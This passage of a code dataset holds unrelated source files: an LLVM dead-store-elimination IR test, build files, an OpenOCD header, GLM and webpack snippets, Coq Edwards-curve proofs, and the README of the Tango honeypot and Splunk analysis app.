@unknown_func()\n br i1 undef, label %bb1, label %bb2\nbb2:\n ret i32 0\n}\n\n; Remove redundant store, which is in the lame loop as the load.\ndefine i32 @test33(i1 %c, i32* %p, i32 %i) {\n; CHECK-LABEL: @test33(\n; CHECK-NEXT: entry:\n; CHECK-NEXT: br label [[BB1:%.*]]\n; CHECK: bb1:\n; CHECK-NEXT: br label [[BB2:%.*]]\n; CHECK: bb2:\n; CHECK-NEXT: call void @unknown_func()\n; CHECK-NEXT: br i1 undef, label [[BB1]], label [[BB3:%.*]]\n; CHECK: bb3:\n; CHECK-NEXT: ret i32 0\n;\nentry:\n br label %bb1\nbb1:\n %v = load i32, i32* %p, align 4\n br label %bb2\nbb2:\n store i32 %v, i32* %p, align 4\n ; Might read and overwrite value at %p, but doesn't matter.\n call void @unknown_func()\n br i1 undef, label %bb1, label %bb3\nbb3:\n ret i32 0\n}\n\n; Don't remove redundant store: unknown_func could unwind\ndefine void @test34(i32* noalias %p) {\n; CHECK-LABEL: @test34(\n; CHECK-NEXT: store i32 1, i32* [[P:%.*]]\n; CHECK-NEXT: call void @unknown_func()\n; CHECK-NEXT: store i32 0, i32* [[P]]\n; CHECK-NEXT: ret void\n;\n store i32 1, i32* %p\n call void @unknown_func()\n store i32 0, i32* %p\n ret void\n}\n\n; Remove redundant store even with an unwinding function in the same block\ndefine void @test35(i32* noalias %p) {\n; CHECK-LABEL: @test35(\n; CHECK-NEXT: call void @unknown_func()\n; CHECK-NEXT: store i32 0, i32* [[P:%.*]]\n; CHECK-NEXT: ret void\n;\n call void @unknown_func()\n store i32 1, i32* %p\n store i32 0, i32* %p\n ret void\n}\n\n; We cannot optimize away the first memmove since %P could overlap with %Q.\ndefine void @test36(i8* %P, i8* %Q) {\n; CHECK-LABEL: @test36(\n; CHECK-NEXT: tail call void @llvm.memmove.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: tail call void @llvm.memmove.p0i8.p0i8.i64(i8* [[P]], i8* [[Q]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memmove.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n tail call void @llvm.memmove.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n ret void\n}\n\ndefine void @test36_atomic(i8* %P, i8* %Q) {\n; CHECK-LABEL: @test36_atomic(\n; CHECK-NEXT: tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P]], i8* align 1 [[Q]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n ret void\n}\n\ndefine void @test37(i8* %P, i8* %Q, i8* %R) {\n; CHECK-LABEL: @test37(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: tail call void @llvm.memmove.p0i8.p0i8.i64(i8* [[P]], i8* [[R:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n tail call void @llvm.memmove.p0i8.p0i8.i64(i8* %P, i8* %R, i64 12, i1 false)\n ret void\n}\n\ndefine void @test37_atomic(i8* %P, i8* %Q, i8* %R) {\n; CHECK-LABEL: @test37_atomic(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P]], i8* align 1 [[R:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %R, i64 12, i32 1)\n ret void\n}\n\n; Same caveat about memcpy as in @test18 applies here.\ndefine void @test38(i8* %P, i8* %Q, i8* %R) {\n; CHECK-LABEL: @test38(\n; CHECK-NEXT: tail call void @llvm.memmove.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P]], i8* [[R:%.*]], i64 12, i1 false)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memmove.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %R, i64 12, i1 false)\n ret void\n}\n\ndefine void @test38_atomic(i8* %P, i8* %Q, i8* %R) {\n; CHECK-LABEL: @test38_atomic(\n; CHECK-NEXT: tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P]], i8* align 1 [[R:%.*]], i64 12, i32 1)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %R, i64 12, i32 1)\n ret void\n}\n\ndefine void @test39(i8* %P, i8* %Q, i8* %R) {\n; CHECK-LABEL: @test39(\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P:%.*]], i8* [[Q:%.*]], i64 12, i1 false)\n; CHECK-NEXT: tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* [[P]], i8* [[R:%.*]], i64 8, i1 false)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %Q, i64 12, i1 false)\n tail call void @llvm.memcpy.p0i8.p0i8.i64(i8* %P, i8* %R, i64 8, i1 false)\n ret void\n}\n\ndefine void @test39_atomic(i8* %P, i8* %Q, i8* %R) {\n; CHECK-LABEL: @test39_atomic(\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P:%.*]], i8* align 1 [[Q:%.*]], i64 12, i32 1)\n; CHECK-NEXT: tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 [[P]], i8* align 1 [[R:%.*]], i64 8, i32 1)\n; CHECK-NEXT: ret void\n;\n\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %Q, i64 12, i32 1)\n tail call void @llvm.memcpy.element.unordered.atomic.p0i8.p0i8.i64(i8* align 1 %P, i8* align 1 %R, i64 8, i32 1)\n ret void\n}\n\ndeclare void @llvm.memmove.p0i8.p0i8.i64(i8* nocapture, i8* nocapture readonly, i64, i1)\ndeclare void @llvm.memmove.element.unordered.atomic.p0i8.p0i8.i64(i8* nocapture, i8* nocapture readonly, i64, i32)\n"} {"text": "CXX_SOURCES := main.cpp\n\n# Work around \"exception specification in declaration does not match previous\n# declaration\" errors present in older libc++ releases. This error was fixed in\n# the 3.8 release.\nCFLAGS_EXTRAS := -fno-exceptions\n\nUSE_LIBCPP := 1\ninclude Makefile.rules\n"} {"text": "/***************************************************************************\n * Copyright (C) 2010 by Oleksandr Tymoshenko <gonzo@bluezbox.com> *\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU General Public License *\n * along with this program. If not, see <http://www.gnu.org/licenses/>. *\n ***************************************************************************/\n\n#ifndef OPENOCD_TARGET_AVR32_REGS_H\n#define OPENOCD_TARGET_AVR32_REGS_H\n\nenum avr32_reg_nums {\n\tAVR32_REG_R0 = 0,\n\tAVR32_REG_R1,\n\tAVR32_REG_R2,\n\tAVR32_REG_R3,\n\tAVR32_REG_R4,\n\tAVR32_REG_R5,\n\tAVR32_REG_R6,\n\tAVR32_REG_R7,\n\tAVR32_REG_R8,\n\tAVR32_REG_R9,\n\tAVR32_REG_R10,\n\tAVR32_REG_R11,\n\tAVR32_REG_R12,\n\tAVR32_REG_SP,\n\tAVR32_REG_LR,\n\tAVR32_REG_PC,\n\tAVR32_REG_SR,\n};\n\nint avr32_jtag_read_regs(struct avr32_jtag *jtag_info, uint32_t *regs);\nint avr32_jtag_write_regs(struct avr32_jtag *jtag_info, uint32_t *regs);\n\n#endif /* OPENOCD_TARGET_AVR32_REGS_H */\n"} {"text": "/// @ref gtx_handed_coordinate_space\n/// @file glm/gtx/handed_coordinate_space.inl\n\nnamespace glm\n{\n\ttemplate <typename T, precision P>\n\tGLM_FUNC_QUALIFIER bool rightHanded\n\t(\n\t\ttvec3<T, P> const & tangent,\n\t\ttvec3<T, P> const & binormal,\n\t\ttvec3<T, P> const & normal\n\t)\n\t{\n\t\treturn dot(cross(normal, tangent), binormal) > T(0);\n\t}\n\n\ttemplate <typename T, precision P>\n\tGLM_FUNC_QUALIFIER bool leftHanded\n\t(\n\t\ttvec3<T, P> const & tangent,\n\t\ttvec3<T, P> const & binormal,\n\t\ttvec3<T, P> const & normal\n\t)\n\t{\n\t\treturn dot(cross(normal, tangent), binormal) < T(0);\n\t}\n}//namespace glm\n"} {"text": "<p align=\"center\">\n<img src=\"http://i.imgur.com/FPR9mW8.png\"></p>\n\n## About\nTango is a set of scripts and Splunk apps which help organizations and users quickly and easily deploy honeypots and then view the data and analysis of the attacker sessions. There are two scripts provided which facilitate the installation of the honeypots and/or Splunk Universal Forwarder. One of the scripts `uf_only.sh` will install the Splunk Universal Forwarder and install the necessary input and output configuration files. The other script `sensor.sh` will install the Splunk Universal Forwarder along with the Cowrie honeypot required for the Tango Honeypot Intelligence app to work.\n\n###Version 2.0\nVersion 2.0 now supports the Cowrie honeypot as well as updates the Sensor forwarders to 6.3.0\n\n## Before You Begin\n\nThere are a few things that should be noted before you install:\n\n- When you deploy the input app on a sensor, the app will communicate with the website, [ipv4.icanhazip.com](www.ipv4.icanhazip.com) to get the external IP address of the sensor. This is useful information for the sensor management portion of the app. Please feel free to remove if you'd rather not communicate with that site. Please note that if you do not use this, a lot of the \"Sensor Management\" fields will be blank.\n- The Tango Honeypot Intelligence Splunk App is built to use JSON formatted data from Cowrie by Michel Oosterhof, which can be found on his [github](https://github.com/micheloosterhof/cowrie).\n- You will need to add your own VirusTotal API key to the Splunk app, which can be configured at /opt/splunk/etc/apps/tango/bin/vt.py The API is free to obtain, you will just need to follow the procedures found on their website to receive one. Please note that you are limited to 4 requests per minute, so if you attempt to do more than that, you will not receive any information. This pertains to the File Analysis section of the Splunk Honeypot Intelligence app.\n\n## Installation\n\n\n### Sensor Installation (Cowrie and Splunk Universal Fowarder)\nThis script has been tested on a brand-new install of Ubuntu 14.04 and Cent OS 7 with no reported issues.\n\nTo get started, run the commands below and follow the prompts to enter the necessary input.\n\n```\ngit clone https://github.com/aplura/Tango.git /tmp/tango; chmod +x /tmp/tango/sensor.sh\ncd /tmp/tango/\n./sensor.sh\n```\n\nThere are some options you can change in /opt/cowrie/cowrie.cfg if you choose, however, some of these will break the forwarding of logs (such as changing the listening port set to 2222), however, there are some extra modules, such as mysql or xmpp logging you can enable if you choose, as well as changing the hostname of the honeypot.\n\ncowrie is highly configurable, so if you wish to add extra commands or output to cowrie, there are tons of resources on github or google, which can help you do that if you choose.\n\nThe script will install the required packages based on the OS, then install cowrie, and lastly, install the Splunk Universal Forwarder. \n\n### Sensor Installation (Splunk UF Only)\n\nIf you already have cowrie honeypots deployed and wish to start analyzing their logs in the Tango Honeypot Intelligence Splunk App, you can run the uf_only.sh script, which will install the Splunk UF on your host, and configure the inputs and outputs necessary to start viewing your logs.\n\nTo get started, run the commands below and follow the prompts to enter the necessary input.\n\n```\ngit clone https://github.com/aplura/Tango.git /tmp/tango; chmod +x /tmp/tango/uf_only.sh\ncd /tmp/tango/\n./uf_only.sh\n```\n\n### Server Installation\n\nIn order to view the logs you are sending from cowrie, you will need to install Splunk Enterprise on a server, and install the Tango Honeypot Intelligence for Splunk App from this repo. There are plenty of guides on Splunk's website to get Splunk Enterprise running, however, the basic gist of setting up a server is this:\n\n- Download Splunk Enterprise from Splunk\n- Copy the Tango Honeypot Intelligence for Splunk App into $SPLUNK_HOME/etc/apps/\n- Create a Splunk listener on port 9997 (It's not required to be on 9997, however, the scripts are configured to use that port, so, if you change the port, change it everywhere)\n- Add your VirusTotal API key to /opt/splunk/etc/apps/tango/bin/vt.py\n- You'll need to add the requests source into the tango app's bin directory `/opt/splunk/etc/apps/tango/bin/`. Requests can be found here: [Kenneth Reitz Github](https://github.com/kennethreitz/requests/). This is needed for the VirusTotal lookup.\n- Restart Splunk\n- You'll need to allow users to search the 'honeypot' index by default. To do this, go into “Settings”, then “Access Controls”, then “Roles”, “Admin”, then scroll all the way down to “Indexes Searched by Default”, then add honeypot to the right-hand column.\n\nOnce in Splunk, you can start using the Tango app to analyze your Honeypot logs.\n\n## Tango Honeypot Intelligence for Splunk App\n\nNow that you have your sensors and server running, you'll want to use the Tango Splunk App to analyze your logs and start identifying what the attackers are doing on your systems. Start by logging into Splunk and clicking on the \"Tango Honeypot Intelligence App\" on the left-hand side.\n\nOnce you enter the app, you'll be first taken to the \"Attack Overview\" portion of the app, which shows a broad overview of the attacks against your sensors. This includes Attempts vs. Successes, Latest Logins, Attackers logging into multiple locations, etc.\n\nYou'll notice at the top of the app, in the navigation pane, there are multiple categories of reports available to you, which include:\n\n- Attack Analysis\n- File Analysis\n- Network Analysis\n- Sensor Management\n- Threat Feed\n\nBelow we will go through each section and describe some of the data available in each section.\n\n### Attack Analysis\n\n##### Attack Overview\n\nThis dashboard shows a broad overview of the attacks against your sensors. This includes Attempts vs. Successes, Latest Logins, Attackers logging into multiple locations, etc.\n\n##### Session Playlog\n\nThis is one of the most beneficial dashboards available in the app, since it actually shows you what the attacker is doing on your honeypot. At the top of the dashboard, you can see the most recent sessions along with a filter to select a particular sensor. Clicking on a session will populate the panels below, which includes the passwords attempted/accepted, the commands entered, any files downloaded during the session and the raw logs for the session.\n\n##### Attacker Profile\n\nUsing this dashboard, you can inquire about a certain IP and if seen in the app, you can get valuable information pertaining to that IP to include:\n\n- Geolocational data\n- Times seen\n- SSH Client versions\n- Sessions seen\n- Files Downloaded\n\n##### Session Analysis\n\nThis series of dashboards contains some analytical information, to include the % of sessions with interaction, the various SSH versions seen, some environment details extracted by the session, and a Human vs. Bot Identification dashboard.\n\n##### Location Overview\n\nIn this section, you are able to see various geographical data related to each session and attacker. There are currently three dashboards available:\n\n- Top countries from which attackers have logged in from\n- Top countries where attackers have scanned from\n- Top sensors that have been attacked\n\nWe also include a map which includes the location of attackers seen.\n\n##### Username/Password Analysis\n\nCurrently, this dashboard contains the top usernames and passwords seen being attempted by the attackers, as well as the top username/password combinations.\n\n### Malware Analysis\n\n##### File Analysis\n\nStarting at the top of this page, you can see the latest files downloaded by attackers, which includes the following:\n\n- URL of file\n- SHA256 Hash of file\n- Sensor which the file was seen being download\n- The session identifier of the session, which the file was downloaded\n- The time that the file was downloaded\n\nBelow that is the latest \"Attempted\" file downloads. This contains URL's that were seen in a session that do not have a corresponding SHA256 hash (which indicates a successful download). This can be due to a server error on the hosting website, an incorrect spelling of the file, or if this URL was seen elsewhere in the command, perhaps as an argument or target site of the malware.\n\nLastly, is a panel which you are able to look up a particular SHA256 hash seen previously downloaded in VirusTotal to retrieve the following information:\n\n- Date Scanned\n- SHA256 Hash\n- How many AV vendors identified this file\n- The various signatures of the file\n\nPlease note that the VirusTotal API is limited to 4 requests per minute. With that being said, you can use this panel to quickly lookup the file hashes seen by in your sessions.\n\nThis \"lookup\" will produce a local \"cache\" to use in other dashboards, so it's useful to run lookups on any malware you see. This was created do to limitations in the Virustotal API, and will be used as a workaround for the time being.\n\n##### Malware Analysis\n\nThis dashboard will show the Top 10 Malware Signatures we've seen over time, as well as the most recent legitimate malware. This dashboard is populated from the VirusTotal local \"cache\" found on the File Analysis page. This dashboard will also show you files that have been downloaded, but, produced no signatures in Virustotal.\n\n##### Malware Campaigns\n\nThis set of reports give you information on possible campaigns associated with your sessions. Currently this includes:\n\n- Potential Malware Campaigns (By URL)\n- Potential Malware Campaigns (By Domain)\n- Potential Malware Campaigns (By Filename)\n- Potential Malware Campaigns (By SHA Hash)\n\nThis section will continue to be developed to include other possible campaign attribution by looking at other TTP's associated with each session. This could include commands entered during each session, terminal variables (size, language, SSH keys, etc.). For now, we can see the URL's, Domain's and Filenames that have been seen being used by multiple attackers.\n\n### Network Analysis\n\nThis dashboard currently includes reports on the following:\n\n- Top Domains Seen\n- Same URI on Multiple Domains\n- Latest IP Addresses Seen\n\n### Sensor Management\n\n##### Sensor Status\n\nThis dashboard provides geographical information pertaining to each sensor currently deployed. You will find the following information available to you in this dashboard:\n\n- Sensor Name\n- Last Active\n- Sensor IP Address (External IP)\n- ASN\n- ASN Country\n- Network Name\n- Network Range\n\nThis dashboard also provides you with a map populated with the locations of all your sensors deployed.\n\n##### Edit Sensor\n\nIn this dashboard, you are able to edit a few fields for your sensors, these fields are:\n\n- Owner\n- Owner Email\n- Comment\n\n\n### Threat Feed\n\nLastly, this dashboard contains feeds which you can download and integrate with other network monitoring solutions, which will hopefully be automated in the future.\n\nThe feeds currently available are:\n\n- IP Addresses\n- Potentially Malicious URLs\n- SHA File Hashes\n- Potentially Malicious Domains\n- File Names\n\n### Screenshots\n\nBelow are some screenshots which illustrate the features of Tango:\n\n#### Attack Overview\n<p align=\"center\">\n<img src=\"http://i.imgur.com/2ZkYzAF.png\"></p>\n\n#### Session Analysis\n<p align=\"center\">\n<img src=\"http://i.imgur.com/O3WLbK0.png\"></p>\n\n#### Malware Campaigns\n<p align=\"center\">\n<img src=\"http://i.imgur.com/sNhpSGo.png\"></p>\n\n#### Session Playlog\n<p align=\"center\">\n<img src=\"http://i.imgur.com/nu4m5Eg.png\"></p>\n\n#### IOC Feed\n<p align=\"center\">\n<img src=\"http://i.imgur.com/fT1XCSj.png\"></p>\n\n#### Network Analysis\n<p align=\"center\">\n<img src=\"http://i.imgur.com/Rj29b9r.png\"></p>\n\n#### Malware Analysis\n<p align=\"center\">\n<img src=\"http://i.imgur.com/SToO8q3.png\"></p>\n\n### To-Do\n- Utilize Data Models to speed up searches\n- Auto-extract indicators inside of malware\n- TOR Exit Node Identifier\n\n### Credits\n- https://github.com/kennethreitz for Requests\n- http://virustotal.com/ for their awesome app and API we use\n- Michel Oosterhof for the Cowrie Honeypot\n"} {"text": "executable(\"llvm-dis\") {\n deps = [\n \"//llvm/lib/Bitcode/Reader\",\n \"//llvm/lib/IR\",\n \"//llvm/lib/Support\",\n ]\n sources = [\n \"llvm-dis.cpp\",\n ]\n}\n"} {"text": "import png from \"./images/file.png\";\nimport jpg from \"./images/file.jpg\";\nimport svg from \"./images/file.svg\";\n\nconst container = document.createElement(\"div\");\nObject.assign(container.style, {\n\tdisplay: \"flex\",\n\tjustifyContent: \"center\"\n});\ndocument.body.appendChild(container);\n\nfunction createImageElement(title, src) {\n\tconst div = document.createElement(\"div\");\n\tdiv.style.textAlign = \"center\";\n\n\tconst h2 = document.createElement(\"h2\");\n\th2.textContent = title;\n\tdiv.appendChild(h2);\n\n\tconst img = document.createElement(\"img\");\n\timg.setAttribute(\"src\", src);\n\timg.setAttribute(\"width\", \"150\");\n\tdiv.appendChild(img);\n\n\tcontainer.appendChild(div);\n}\n\n[png, jpg, svg].forEach(src => {\n\tcreateImageElement(src.split(\".\").pop(), src);\n});\n"} {"text": "Require Export Crypto.Spec.CompleteEdwardsCurve.\n\nRequire Import Crypto.Algebra.Hierarchy Crypto.Algebra.ScalarMult Crypto.Util.Decidable.\nRequire Import Coq.Logic.Eqdep_dec.\nRequire Import Coq.Classes.Morphisms.\nRequire Import Coq.Relations.Relation_Definitions.\nRequire Import Crypto.Util.Tuple Crypto.Util.Notations.\nRequire Import Crypto.Util.Tactics.UniquePose.\nRequire Import Crypto.Util.Tactics.DestructHead.\nRequire Import Crypto.Util.Tactics.BreakMatch.\nRequire Import Crypto.Util.Tactics.SetoidSubst.\nRequire Export Crypto.Util.FixCoqMistakes.\n\nModule E.\n Import Group Ring Field CompleteEdwardsCurve.E.\n\n Notation onCurve_zero := Pre.onCurve_zero.\n Notation denominator_nonzero := Pre.denominator_nonzero.\n Notation denominator_nonzero_x := Pre.denominator_nonzero_x.\n Notation denominator_nonzero_y := Pre.denominator_nonzero_y.\n Notation onCurve_add := Pre.onCurve_add.\n\n Section CompleteEdwardsCurveTheorems.\n Context {F Feq Fzero Fone Fopp Fadd Fsub Fmul Finv Fdiv}\n {field:@field F Feq Fzero Fone Fopp Fadd Fsub Fmul Finv Fdiv}\n {char_ge_3 : @Ring.char_ge F Feq Fzero Fone Fopp Fadd Fsub Fmul (BinNat.N.succ_pos BinNat.N.two)}\n {Feq_dec:DecidableRel Feq}.\n Local Infix \"=\" := Feq : type_scope. Local Notation \"a <> b\" := (not (a = b)) : type_scope.\n Local Notation \"0\" := Fzero. Local Notation \"1\" := Fone.\n Local Infix \"+\" := Fadd. Local Infix \"*\" := Fmul.\n Local Infix \"-\" := Fsub. Local Infix \"/\" := Fdiv.\n Local Notation \"x ^ 2\" := (x*x).\n\n Context {a d: F}\n {nonzero_a : a <> 0}\n {square_a : exists sqrt_a, sqrt_a^2 = a}\n {nonsquare_d : forall x, x^2 <> d}.\n\n Local Notation onCurve x y := (a*x^2 + y^2 = 1 + d*x^2*y^2) (only parsing).\n Local Notation point := (@E.point F Feq Fone Fadd Fmul a d).\n Local Notation eq := (@E.eq F Feq Fone Fadd Fmul a d).\n Local Notation zero := (E.zero(nonzero_a:=nonzero_a)(d:=d)).\n Local Notation add := (E.add(nonzero_a:=nonzero_a)(square_a:=square_a)(nonsquare_d:=nonsquare_d)).\n Local Notation mul := (E.mul(nonzero_a:=nonzero_a)(square_a:=square_a)(nonsquare_d:=nonsquare_d)).\n\n Program Definition opp (P:point) : point := (Fopp (fst P), (snd P)).\n Next Obligation. match goal with P : point |- _ => destruct P as [ [??]?] end; cbv; fsatz. Qed.\n\n Ltac t_step :=\n match goal with\n | _ => solve [trivial | exact _ ]\n | _ => intro\n | |- Equivalence _ => split\n | |- commutative_group => split | |- group => split | |- monoid => split\n | |- is_associative => split | |- is_commutative => split\n | |- is_left_inverse => split | |- is_right_inverse => split\n | |- is_left_identity => split | |- is_right_identity => split\n | _ => progress destruct_head' @E.point\n | _ => progress destruct_head' prod\n | _ => progress destruct_head' and\n | |- context[E.add ?P ?Q] =>\n unique pose proof (Pre.denominator_nonzero_x _ nonzero_a square_a _ nonsquare_d _ _ (proj2_sig P) _ _ (proj2_sig Q));\n unique pose proof (Pre.denominator_nonzero_y _ nonzero_a square_a _ nonsquare_d _ _ (proj2_sig P) _ _ (proj2_sig Q))\n | _ => progress cbv [opp E.zero E.eq E.add E.coordinates proj1_sig fieldwise fieldwise'] in *\n (* [_gather_nonzeros] must run before [fst_pair] or [simpl] but after splitting E.eq and unfolding [E.add] *)\n | |- _ /\\ _ => split | |- _ <-> _ => split\n end.\n Ltac t := repeat t_step; fsatz.\n\n Global Instance associative_add : is_associative(eq:=E.eq)(op:=add).\n Proof using Type.\n (* [nsatz_compute] for a denominator runs out of 6GB of stack space *)\n (* COQBUG: https://coq.inria.fr/bugs/show_bug.cgi?id=5359 *)\n Add Field _field : (Algebra.Field.field_theory_for_stdlib_tactic (T:=F)).\n Import Field_tac.\n repeat t_step; (field_simplify_eq; [IntegralDomain.nsatz|]); repeat split; trivial.\n { intro. eapply H3. field_simplify_eq; repeat split; trivial. IntegralDomain.nsatz. }\n { intro. eapply H. field_simplify_eq; repeat split; trivial. IntegralDomain.nsatz. }\n { intro. eapply H4. field_simplify_eq; repeat split; trivial. IntegralDomain.nsatz. }\n { intro. eapply H0. field_simplify_eq; repeat split; trivial. IntegralDomain.nsatz. }\n Qed.\n\n Global Instance edwards_curve_commutative_group : commutative_group (eq:=eq)(op:=add)(id:=zero)(inv:=opp).\n Proof using Type. t. Qed.\n\n Global Instance Proper_coordinates : Proper (eq==>fieldwise (n:=2) Feq) coordinates. Proof using Type. repeat t_step. Qed.\n\n Global Instance Proper_mul : Proper (Logic.eq==>eq==>eq) mul.\n Proof using Type.\n intros n n'; repeat intro; subst n'.\n induction n; (reflexivity || eapply (_:Proper (eq==>eq==>eq) add); eauto).\n Qed.\n\n Section PointCompression.\n Local Notation \"x ^ 2\" := (x*x).\n\n Lemma solve_correct x y : onCurve x y <-> (x^2 = (y^2-1) / (d*y^2-a)).\n Proof using Feq_dec field nonsquare_d nonzero_a square_a. destruct square_a as [sqrt_a]; pose proof (nonsquare_d (sqrt_a/y));\n split; intros; fsatz. Qed.\n\n (* TODO: move *)\n Definition exist_option {A} (P : A -> Prop) (x : option A)\n : match x with Some v => P v | None => True end -> option { a : A | P a }.\n destruct x; intros; [apply Some | apply None]; eauto. Defined.\n Lemma exist_option_Some {A} P (x:option A) pf s\n (H:Logic.eq (exist_option P x pf) (Some s))\n : Logic.eq x (Some (proj1_sig s)).\n Proof using Type. destruct x, s; cbv [exist_option proj1_sig] in *; congruence. Qed.\n Lemma exist_option_None {A} P (x:option A) pf\n (H:Logic.eq (exist_option P x pf) None)\n : Logic.eq x None.\n Proof using Type. destruct x; cbv [exist_option proj1_sig] in *; congruence. Qed.\n\n Context\n {sqrt_div:F -> F -> option F}\n {sqrt_Some: forall u v r, Logic.eq (sqrt_div u v) (Some r) -> r^2 = u/v}\n {sqrt_None: forall u v, Logic.eq (sqrt_div u v) None -> forall r, r^2 <> u/v}\n {parity:F -> bool} {Proper_parity: Proper (Feq ==> Logic.eq) parity}\n {parity_opp: forall x, x <> 0 -> Logic.eq (parity (Fopp x)) (negb (parity x)) }.\n\n Definition compress (P:point) : (bool*F) :=\n let (x, y) := coordinates P in pair (parity x) y.\n Definition set_sign r p : option F :=\n if dec (Logic.eq (parity r) p)\n then Some r\n else\n let r' := Fopp r in\n if dec (Logic.eq (parity r') p)\n then Some r'\n else None.\n Lemma set_sign_None r p s (H:Logic.eq (set_sign r p) (Some s))\n : s^2 = r^2 /\\ Logic.eq (parity s) p.\n Proof using Feq_dec field nonzero_a.\n repeat match goal with\n | _ => progress subst\n | _ => progress cbv [set_sign] in *\n | _ => progress break_match_hyps\n | _ => progress Option.inversion_option\n | _ => split\n | _ => solve [ trivial | fsatz ]\n end.\n Qed.\n Lemma set_sign_Some r p (H:Logic.eq (set_sign r p) None)\n : forall s, s^2 = r^2 -> not (Logic.eq (parity s) p).\n repeat match goal with\n | _ => progress intros\n | _ => progress subst\n | _ => progress cbv [set_sign] in *\n | _ => progress break_match_hyps\n | _ => progress Option.inversion_option\n end.\n destruct (dec (r = 0)).\n { assert (s = 0) by Nsatz.nsatz_power 2%nat.\n setoid_subst_rel Feq; trivial. }\n { progress rewrite parity_opp in * by assumption.\n destruct (parity r), p; cbv [negb] in *; congruence. }\n Qed.\n\n Local Ltac t'_step :=\n match goal with\n | _ => progress subst\n | _ => progress destruct_head' @E.point\n | _ => progress destruct_head' and\n | _ => progress break_match\n | _ => progress break_match_hyps\n | _ => progress Option.inversion_option\n | _ => progress Prod.inversion_prod\n | H:_ |- _ => unique pose proof (sqrt_Some _ _ _ H); clear H\n | H:_ |- _ => unique pose proof (sqrt_None _ _ H); clear H\n | H:_ |- _ => unique pose proof (set_sign_None _ _ _ H); clear H\n | H:_ |- _ => unique pose proof (set_sign_Some _ _ H); clear H\n | H:_ |- _ => unique pose proof (exist_option_Some _ _ _ _ H); clear H\n | H:_ |- _ => unique pose proof (exist_option_None _ _ _ H); clear H\n | _ => solve [trivial | eapply solve_correct; fsatz]\n end.\n Local Ltac t' := repeat t'_step.\n\n Program Definition decompress (b:bool*F) : option point :=\n exist_option _\n match b return option (F*F) with\n (p, y) =>\n match sqrt_div (y^2 - 1) (d*y^2 - a) return option (F*F) with\n | None => None\n | Some r =>\n match set_sign r p return option (F*F) with\n | Some x => Some (x, y)\n | None => None\n end\n end\n end _.\n Next Obligation. t'. Qed.\n\n Lemma decompress_Some b P (H:Logic.eq (decompress b) (Some P))\n : Logic.eq (compress P) b.\n Proof using Type. cbv [compress decompress] in *; t'. Qed.\n\n Lemma decompress_None b (H:Logic.eq (decompress b) None)\n : forall P, not (Logic.eq (compress P) b).\n Proof.\n cbv [compress decompress exist_option coordinates] in *; intros.\n t'.\n { intro.\n match goal with\n | [ H0 : _ |- False ]\n => apply (H0 f); [t'|congruence]; clear H0\n end.\n rewrite solve_correct in y; Nsatz.nsatz_power 2%nat. }\n { intro. Prod.inversion_prod; subst.\n rewrite solve_correct in y.\n eapply H. eapply y. 